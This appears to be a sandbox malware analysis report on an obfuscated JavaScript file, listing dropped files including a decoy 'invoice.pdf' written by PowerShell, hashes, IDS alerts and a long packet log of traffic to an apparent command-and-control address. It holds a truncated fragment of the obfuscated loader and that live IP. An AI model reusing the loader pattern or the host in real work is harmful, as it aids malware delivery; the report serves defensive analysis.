MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\65ecef38-80e2-4281-9aa5-667c09f301be.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\ccae59b5-92c3-4edf-b959-f1c896af47ef.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17676), with CRLF line terminators
Entropy (8bit):	4.9107911545893685
TrID:
File name:	16112188701857928577.js
File size:	21'172 bytes
MD5:	8f61413250640d203988ece7861302ed
SHA1:	58f539693583767583546fa0c953b26bd7103a27
SHA256:	740cd8df413bf3f6792b9688dec07fd64d30d744dab3dd77833474afe865c2fe
SHA512:	c3ff505851e8d5d3167b667b54b820e5c64c2468b26d15599d1db7adc7a9dceb655ad4befd8e639a1d4c540ba5aa16d5626eee9d19f4687768cf98c61eb66531
SSDEEP:	192:Hu2g5uW8y2gah4z4eRdhUT4eRFJo4eRtjlrrsqn+EzUHoPrAjnV+EDMfJKL+gPZW:vouVOgJafsg+EzUOEjV+kuJKL+1nVb1
TLSH:	E69252DB84894AE78AEC43F28C0B0043D59167DC8EB2D8BF8DFE50998519E3578F1876
File Content Preview:	function bgquyc(){vikmioikc=[1031,3079,5127,4103,2055,3072];var zllep=this[rdpdkolqu+eszao+fstbfc+uxdiayog+uqttjp+wodpzthi+gtxva+xkxwkrzu](this[dtiygfx+dciezjqdz+oxpxzop+fstbfc+iytugiy+rdpdkolqu+xkxwkrzu][duozednlf+fstbfc+uqttjp+eszao+xkxwkrzu+uqttjp+tzse

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T20:48:10.295049+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49699	193.143.1.205	80	TCP
2025-01-10T20:48:12.665379+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49700	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:48:09.487974882 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:09.496886015 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:09.496972084 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:09.501597881 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:09.510787010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.294935942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.294977903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.295018911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.295048952 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.295070887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.295114994 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.295144081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.295197964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.295248985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.295252085 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.295284986 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.295329094 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.295336008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.295373917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.295416117 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.300342083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.352827072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.352876902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.352886915 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.352912903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.352936029 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.399753094 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.412688017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.412703037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.412714005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.412727118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.412740946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.412801981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.413103104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.413144112 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.413145065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.413156986 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.413202047 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.413717985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.413729906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.413742065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.413754940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.413768053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.413769960 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.413794994 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.414674044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.414686918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.414704084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.414712906 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.414715052 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.414726019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.414743900 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.414758921 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.415580988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.439456940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.439483881 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.439495087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.439552069 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.439595938 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.514295101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.514355898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.514369011 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.514394045 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.533541918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.533557892 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.533570051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.533582926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.533709049 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.533710003 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.533751965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.533782959 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.533797026 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.533931017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.533967972 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.533972025 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.533979893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.534019947 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.534337997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.534348965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.534387112 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.534554005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.534573078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.534584999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.534595013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.534607887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.534636974 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.534677029 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.535327911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.535339117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.535350084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.535361052 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.535372972 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.535372972 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.535384893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.535387993 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.535425901 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.536271095 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.536283016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.536294937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.536304951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.536319017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.536323071 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.536333084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.536366940 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.537164927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.537184000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.537194967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.537206888 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.537206888 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.537219048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.537231922 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.537241936 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.537271976 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.538042068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.538094044 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.538096905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.538114071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.538126945 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.538137913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.538150072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.538152933 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.538182974 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.539026022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.539037943 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.539048910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.539061069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.539088011 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.539119005 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.601089001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.601105928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.601165056 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.647685051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.647711039 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.647753000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.647763014 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.647814989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.647829056 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.647841930 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.647866011 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.647895098 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.669303894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.669389009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.669420958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.669434071 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.669459105 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.669495106 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.669557095 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.669606924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.669645071 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.669861078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.669894934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.669930935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.669930935 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.669965029 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.670001030 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.670005083 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.670034885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.670073032 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.670718908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.670806885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.670840025 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.670847893 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.670874119 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.670907021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.670911074 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.670943022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.670990944 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.671612024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.671646118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.671679974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.671688080 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.671713114 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.671746016 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.671746969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.671782017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.671818972 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.672535896 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.672569990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.672605038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.672610044 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.672647953 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.672667980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.672684908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.672692060 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.672722101 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.673518896 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.673557043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.673593044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.673621893 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.673625946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.673660994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.673665047 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.673693895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.673739910 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.674436092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.674469948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.674513102 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.674523115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.674556017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.674590111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.674593925 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.674626112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.674663067 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.675291061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.675375938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.675409079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.675415993 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.675442934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.675476074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.675482035 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.675509930 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.675549030 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.676239014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.676320076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.676353931 CET	80	49699	193.143.1.205	192.168.2.7
